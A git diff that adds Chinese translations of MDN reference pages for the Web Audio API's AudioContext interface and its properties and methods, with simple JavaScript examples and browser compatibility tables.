FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audiocontext/currenttime/index.html b/files/zh-cn/web/api/audiocontext/currenttime/index.html new file mode 100644 index 0000000000..fbdaf4315c --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/currenttime/index.html @@ -0,0 +1,112 @@ +--- +title: AudioContext.currentTime +slug: Web/API/AudioContext/currentTime +translation_of: Web/API/BaseAudioContext/currentTime +--- +

{{ APIRef("Web Audio API") }}

+ +
+

currentTime是{{ domxref("AudioContext") }}的一个read-only属性,返回double秒(从0开始)表示一个只增不减的硬件时间戳,可以用来控制音频回放,实现可视化时间轴等等。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+console.log(audioCtx.currentTime);
+ +

返回值

+ +

A double.

+ +

例子

+ +
+

注意:想要完整的Web Audio例子的话,可以去MDN Github repo看DEMO(例如panner-node不妨试试在浏览器控制台输入audioCtx.currentTime。

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+console.log(audioCtx.currentTime);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-currentTime', 'currentTime')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html b/files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html new file mode 100644 index 0000000000..40693fd8cc --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html @@ -0,0 +1,223 @@ +--- +title: AudioContext.decodeAudioData() +slug: Web/API/AudioContext/decodeAudioData +tags: + - API + - Audio + - audio接口 + - 音频解码 +translation_of: Web/API/BaseAudioContext/decodeAudioData +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}接口的decodeAudioData()方法可用于异步解码音频文件中的 {{domxref("ArrayBuffer")}}. ArrayBuffer数据可以通过{{domxref("XMLHttpRequest")}}和{{domxref("FileReader")}}来获取. AudioBuffer是通过AudioContext采样率进行解码的,然后通过回调返回结果.

+
+ +

这是从音频轨道创建用于web audio API音频源的首选方法。

+ +

语法

+ +

旧版的回调函数语法

+ +
audioCtx.decodeAudioData(audioData, function(decodedData) {
+  // use the dec​oded data here
+});
+ +

新版的promise-based语法:

+ +
audioCtx.decodeAudioData(audioData).then(function(decodedData) {
+  // use the decoded data here
+});
+ +

举例

+ +

在本章节中,我们将首先学习基于回调的系统,然后采用新的基于promise-based的语法

+ +

旧的回调语法

+ +

在这个事例中, getData() 方法使用XHR加载一个音轨,设置请求的responsetype为ArrayBuffer使它返回一个arraybuffer数据,然后存储在audioData变量中. 然后我们将这个arraybuffer数据置于decodeAudioData()方法中使用,当成功解码PCM Data后通过回调返回, 将返回的结果通过{{ domxref("AudioContext.createBufferSource()") }}接口进行处理并获得一个{{ domxref("AudioBufferSourceNode") }}, 将源连接至{{domxref("AudioContext.destination") }}并将它设置为循环的.

+ +

通过按钮来运行 getData() 来获取音轨并播放它. 当使用 stop() 方法后source将会被清除.

+ +
+

Note: You can run the example live (or view the source.)

+
+ +
// define variables
+
+var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var source;
+
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+var play = document.querySelector('.play');
+var stop = document.querySelector('.stop');
+
+// use XHR to load an audio track, and
+// decodeAudioData to decode it and stick it in a buffer.
+// Then we put the buffer into the source
+
+function getData() {
+  source = audioCtx.createBufferSource();
+  var request = new XMLHttpRequest();
+
+  request.open('GET', 'viper.ogg', true);
+
+  request.responseType = 'arraybuffer';
+
+
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+        source.buffer = buffer;
+
+        source.connect(audioCtx.destination);
+        source.loop = true;
+      },
+
+      function(e){"Error with decoding audio data" + e.err});
+
+  }
+
+  request.send();
+}
+
+// wire up buttons to stop and play audio
+
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+}
+
+stop.onclick = function() {
+  source.stop(0);
+  play.removeAttribute('disabled');
+}
+
+
+// dump script to pre element
+
+pre.innerHTML = myScript.innerHTML;
+ +

新的promise-based语法

+ +
ctx.decodeAudioData(compressedBuffer).then(function(decodedData) {
+ // use the decoded data here
+});
+ +

参数

+ +
+
ArrayBuffer
+
将会被解码的音频数据,可通过{{domxref("XMLHttpRequest")}}或{{domxref("FileReader")}}来获取.
+
DecodeSuccessCallback
+
当成功解码后会被调用的回调函数. 该回调函数只有一个AudioBuffer类型参数.
+
DecodeErrorCallback
+
一个可选的错误回调函数.
+
+ +

返回

+ +

一个 {{domxref("Promise") }}对象.

+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-decodeAudioData-Promise-AudioBuffer--ArrayBuffer-audioData-DecodeSuccessCallback-successCallback-DecodeErrorCallback-errorCallback', 'decodeAudioData()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
Promise-based syntax{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(33.0)}}
Promise-based syntax{{CompatUnknown}}{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audiocontext/destination/index.html b/files/zh-cn/web/api/audiocontext/destination/index.html new file mode 100644 index 0000000000..04fdfe8247 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/destination/index.html @@ -0,0 +1,114 @@ +--- +title: AudioContext.destination +slug: Web/API/AudioContext/destination +translation_of: Web/API/BaseAudioContext/destination +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的destination属性返回一个{{ domxref("AudioDestinationNode") }}表示context中所有音频(节点)的最终目标节点,一般是音频渲染设备,比如扬声器。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+gainNode.connect(audioCtx.destination);
+ +

返回值

+ +

An {{ domxref("AudioDestinationNode") }}.

+ +

例子

+ +
+

注意:想要完整的例子,可以去看看MDN Github repo的DEMO,比如panner-node

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillatorNode.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-destination', 'destination')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/audiocontext/index.html b/files/zh-cn/web/api/audiocontext/index.html new file mode 100644 index 0000000000..f2b18cf432 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/index.html @@ -0,0 +1,107 @@ +--- +title: AudioContext +slug: Web/API/AudioContext +tags: + - API + - Audio + - AudioContext + - Web Audio API + - sound +translation_of: Web/API/AudioContext +--- +
{{APIRef("Web Audio API")}}
+ +

AudioContext接口表示由链接在一起的音频模块构建的音频处理图,每个模块由一个{{domxref("AudioNode")}}表示。音频上下文控制它包含的节点的创建和音频处理或解码的执行。在做任何其他操作之前,您需要创建一个AudioContext对象,因为所有事情都是在上下文中发生的。建议创建一个AudioContext对象并复用它,而不是每次初始化一个新的AudioContext对象,并且可以对多个不同的音频源和管道同时使用一个AudioContext对象。

+ +

{{InheritanceDiagram}}

+ +

构造函数

+ +
+
{{domxref("AudioContext.AudioContext", "AudioContext()")}}
+
创建并返回一个新的 AudioContext 对象。
+
+ +

属性

+ +

也从其父接口继承属性, {{domxref("BaseAudioContext")}}.

+ +
+
{{domxref("AudioContext.baseLatency")}} {{readonlyinline}} {{experimental_inline}}
+
返回{{domxref("AudioContext")}}将音频从{{domxref("AudioDestinationNode")}}传递到音频子系统的处理延迟的秒数。
+
{{domxref("AudioContext.outputLatency")}} {{readonlyinline}} {{experimental_inline}}
+
返回对当前音频上下文的预估输出延迟。
+
+ +

方法

+ +

也从其父接口继承方法​​​​, {{domxref("BaseAudioContext")}}.

+ +
+
{{domxref("AudioContext.close()")}}
+
关闭一个音频环境, 释放任何正在使用系统资源的音频。
+
{{domxref("AudioContext.createMediaElementSource()")}}
+
创建一个{{domxref("MediaElementAudioSourceNode")}}接口来关联{{domxref("HTMLMediaElement")}}. 这可以用来播放和处理来自{{HTMLElement("video")}}或{{HTMLElement("audio")}} 元素的音频。
+
{{domxref("AudioContext.createMediaStreamSource()")}}
+
创建一个{{domxref("MediaStreamAudioSourceNode")}}接口来关联可能来自本地计算机麦克风或其他来源的音频流{{domxref("MediaStream")}}。
+
{{domxref("AudioContext.createMediaStreamDestination()")}}
+
创建一个{{domxref("MediaStreamAudioDestinationNode")}}接口来关联可能储存在本地或已发送至其他计算机的{{domxref("MediaStream")}}音频。
+
{{domxref("AudioContext.createMediaStreamTrackSource()")}}
+
创建一个{{domxref("MediaStreamTrackAudioSourceNode")}},它与一个{{domxref("MediaStream")}}相关联,表示一个媒体流轨迹。
+
{{domxref("AudioContext.getOutputTimestamp()")}}
+
返回一个新的AudioTimestamp对象,该对象包含两个与当前音频上下文相关的音频时间戳。
+
{{domxref("AudioContext.resume()")}}
+
恢复之前被暂停的音频上下文中的时间进程。
+
{{domxref("AudioContext.suspend()")}}
+
暂停音频上下文中的时间进程,暂停音频硬件访问并减少进程中的CPU/电池使用。
+
+ +

例子

+ +

简单声明:

+ +
var audioCtx = new AudioContext;
+ +

跨浏览器的方式:

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+var finish = audioCtx.destination;
+// etc.
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Web Audio API', '#AudioContext-section', 'AudioContext')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.AudioContext")}}

+ +
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/audiocontext/listener/index.html b/files/zh-cn/web/api/audiocontext/listener/index.html new file mode 100644 index 0000000000..81b2a730a2 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/listener/index.html @@ -0,0 +1,112 @@ +--- +title: AudioContext.listener +slug: Web/API/AudioContext/listener +translation_of: Web/API/BaseAudioContext/listener +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的listener属性返回一个{{ domxref("AudioListener") }} 对象,可以用来实现3D音频空间化。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var myListener = audioCtx.listener;
+ +

返回值

+ +

An {{ domxref("AudioListener") }} object.

+ +

例子

+ +
+

注意:想要完整的音频空间化例子,可以查看panner-node DEMO

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+var myListener = audioCtx.listener;
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-listener', 'listener')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html b/files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html new file mode 100644 index 0000000000..2b7022c1ce --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html @@ -0,0 +1,95 @@ +--- +title: AudioContext.mozAudioChannelType +slug: Web/API/AudioContext/mozAudioChannelType +translation_of: Web/API/AudioContext/mozAudioChannelType +--- +

{{APIRef("Web Audio API")}} {{Non-standard_header}}

+ +

{{domxref("AudioContext")}}的mozAudioChannelType属性是只读的,在Firefox OS设备上可以用来设置音频在audio context中播放的声道。

+ +

该属性是AudioChannels API中定义的非标准属性,更多信息请查看Using the AudioChannels API

+ +

语法

+ +
var audioCtx = new AudioContext();
+var myAudioChannelType = audioCtx.mozAudioChannelType;
+
+ +

只能通过下面的构造器来设置AudioContext中音频的声道:

+ +
var audioCtx = new AudioContext('ringer');
+ +

返回值

+ +

A {{domxref("DOMString")}} value.

+ +

例子

+ +

TBD

+ +

规范

+ +

AudioChannels API目前没有官方规范,实现细节请查看https://wiki.mozilla.org/WebAPI/AudioChannels、WebIDL等等

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
General support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
General support{{CompatNo}}{{CompatNo}}{{CompatNo}}1.2{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/audiocontext/onstatechange/index.html b/files/zh-cn/web/api/audiocontext/onstatechange/index.html new file mode 100644 index 0000000000..ee9b3f21c0 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/onstatechange/index.html @@ -0,0 +1,101 @@ +--- +title: AudioContext.onstatechange +slug: Web/API/AudioContext/onstatechange +translation_of: Web/API/BaseAudioContext/onstatechange +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的onstatechange属性定义了一个事件处理器函数,触发{{Event("statechange")}}会被调用,也就是说audio context的状态发生变化时会执行。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+audioCtx.onstatechange = function() { ... };
+ +

例子

+ +

下面这段代码是AudioContext states DEMO (直接运行)中的,其中onstatechange处理器会在每次当前{{domxref("state")}}发生变化时把它输出到控制台。

+ +
audioCtx.onstatechange = function() {
+  console.log(audioCtx.state);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-onstatechange', 'onstatechange')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/audiocontext/resume/index.html b/files/zh-cn/web/api/audiocontext/resume/index.html new file mode 100644 index 0000000000..6491b15d4e --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/resume/index.html @@ -0,0 +1,119 @@ +--- +title: AudioContext.resume() +slug: Web/API/AudioContext/resume +tags: + - AudioContext + - Web Audio API + - resume +translation_of: Web/API/AudioContext/resume +--- +

{{ APIRef("Web Audio API") }}

+ +

{{ domxref("AudioContext") }} 的 resume() 方法,恢复之前暂停播放的音频。

+ +

如果在{{domxref("OfflineAudioContext")}}上调用,会导致INVALID_STATE_ERR错误。

+ +

语法

+ +
var audioCtx = new AudioContext();
+audioCtx.resume().then(function() { ... });
+
+ +

结果

+ +

{{jsxref("Promise")}}成功的话返回空值,返回失败是因为context已经关闭了。

+ +

示例

+ +

下面的代码是 AudioContext states demo (see it running live)的一部分。当点击暂停/恢复按钮的时候,需要{{domxref("AudioContext.state")}}做判断:如果是运行状态,调用{{domxref("suspend()")}},如果是暂停状态,调用resume()。每次点击事件成功后,按钮的文字也会随着变成对应的状态

+ +
susresBtn.onclick = function() {
+  if(audioCtx.state === 'running') {
+    audioCtx.suspend().then(function() {
+      susresBtn.textContent = 'Resume context';
+    });
+  } else if(audioCtx.state === 'suspended') {
+    audioCtx.resume().then(function() {
+      susresBtn.textContent = 'Suspend context';
+    });
+  }
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-resume-Promise-void', 'close()')}}{{Spec2('Web Audio API')}} 
+ +

兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(41.0)}}{{CompatGeckoDesktop(40.0)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(41.0)}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/audiocontext/samplerate/index.html b/files/zh-cn/web/api/audiocontext/samplerate/index.html new file mode 100644 index 0000000000..b811702e26 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/samplerate/index.html @@ -0,0 +1,112 @@ +--- +title: AudioContext.sampleRate +slug: Web/API/AudioContext/sampleRate +translation_of: Web/API/BaseAudioContext/sampleRate +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的sampleRate属性返回一个浮点数表示采样率(每秒采样数), 同一个AudioContext中的所有节点采样率相同,所以不支持采样率转换。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var mySampleRate = audioCtx.sampleRate;
+ +

返回值

+ +

A floating point number.

+ +

例子

+ +
+

注意:想要完整的Web Audio实例,可以查看MDN Github repo上的Web Audio Demo,比如panner-node。不妨试试在浏览器控制台输入audioCtx.sampleRate

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+console.log(audioCtx.sampleRate);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-sampleRate', 'sampleRate')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/audiocontext/state/index.html b/files/zh-cn/web/api/audiocontext/state/index.html new file mode 100644 index 0000000000..97876f5d3d --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/state/index.html @@ -0,0 +1,111 @@ +--- +title: AudioContext.state +slug: Web/API/AudioContext/state +translation_of: Web/API/BaseAudioContext/state +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的state属性是只读的,返回AudioContext的当前状态。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var myState = audioCtx.state;
+ +

返回值

+ +

{{domxref("DOMString")}},可能的值如下:

+ + + +

例子

+ +

下面这段代码是AudioContext states demo (直接运行)中的,其中{{domxref("AudioContext.onstatechange")}}处理器会在每次当前状态发生变化时把它输出到控制台。

+ +
audioCtx.onstatechange = function() {
+  console.log(audioCtx.state);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-state', 'state')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/audiocontext/suspend/index.html b/files/zh-cn/web/api/audiocontext/suspend/index.html new file mode 100644 index 0000000000..1e01cff97a --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/suspend/index.html @@ -0,0 +1,115 @@ +--- +title: AudioContext.suspend() +slug: Web/API/AudioContext/suspend +translation_of: Web/API/AudioContext/suspend +--- +

{{ APIRef("Web Audio API") }}

+ +

{{ domxref("AudioContext") }} 接口的suspend() 方法暂停音频上下文对象中的进度,并暂时剥离进程对音频设备硬件的访问权限, 减少CPU和电池的使用。 当程序在一段时间内不会使用音频上下文对象时,这个方法对减少硬件资源占用是非常有用的。

+ +

若对{{domxref("OfflineAudioContext")}} 调用此方法,将会抛出 INVALID_STATE_ERR 错误。

+ +

Syntax

+ +
var audioCtx = new AudioContext();
+audioCtx.suspend().then(function() { ... });
+
+ +

Returns

+ +

A {{jsxref("Promise")}} that resolves with void. The promise is rejected if the context has already been closed.

+ +

Example

+ +

The following snippet is taken from our AudioContext states demo (see it running live.) When the suspend/resume button is clicked, the {{domxref("AudioContext.state")}} is queried — if it is running, suspend() is called; if it is suspended, {{domxref("resume")}} is called. In each case, the text label of the button is updated as appropriate once the promise resolves.

+ +
susresBtn.onclick = function() {
+  if(audioCtx.state === 'running') {
+    audioCtx.suspend().then(function() {
+      susresBtn.textContent = 'Resume context';
+    });
+  } else if(audioCtx.state === 'suspended') {
+    audioCtx.resume().then(function() {
+      susresBtn.textContent = 'Suspend context';
+    });
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-suspend-Promise-void', 'close()')}}{{Spec2('Web Audio API')}}
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(41.0)}}{{CompatGeckoDesktop(40.0)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(41.0)}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audiodestinationnode/index.html b/files/zh-cn/web/api/audiodestinationnode/index.html new file mode 100644 index 0000000000..3faf507be0 --- /dev/null +++ b/files/zh-cn/web/api/audiodestinationnode/index.html @@ -0,0 +1,141 @@ +--- +title: AudioDestinationNode +slug: Web/API/AudioDestinationNode +translation_of: Web/API/AudioDestinationNode +--- +

{{APIRef("Web Audio API")}}

+ +
+

AudioDestinationNode接口表示音频图形在特定情况下的最终输出地址 - 通常为扬声器。当使用OfflineAudioContext时为音频记录节点。

+ +

AudioDestinationNode没有输出(因为它就是输出,它存在于视频图标中后AudioNode不能被链接),有一个输入。输入信道的数量必须是0至maxChannelCount之间的值或是一个异常。

+
+ +

AudioDestinationNode可以通过{{domxref("AudioContext.destination")}}属性来查看。

+ + + + + + + + + + + + + + + + + + + + + + + + +
Number of inputs1
Number of outputs0
Channel count mode"explicit"
Channel count2
Channel interpretation"speakers"
+ +

属性

+ +

从{{domxref("AudioNode")}}继承的属性.

+ +
+
{{domxref("AudioDestinationNode.maxChannelCount")}}
+
以无符长整型返回物理设备可以处理的最大通道数量。
+
+ +

方法

+ +

继承{{domxref("AudioNode")}}的方法。

+ +

例子

+ +

 AudioDestinationNode 不需要使用复杂的设置 — 在默认情况下只是简单的代表使用者系统的输出 (例如他们的扬声器),这样你就可以使用几行代码来与内置音频图标挂钩:

+ +
var audioCtx = new AudioContext();
+var source = audioCtx.createMediaElementSource(myMediaElement);
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+ +

更多的例子,请查看MDN Web Audio示例,例如Voice-change-o-matic 或者 Violent Theremin.

+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audiodestinationnode-interface', 'AudioDestinationNode')}}{{Spec2('Web Audio API')}} 
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}23{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

其他

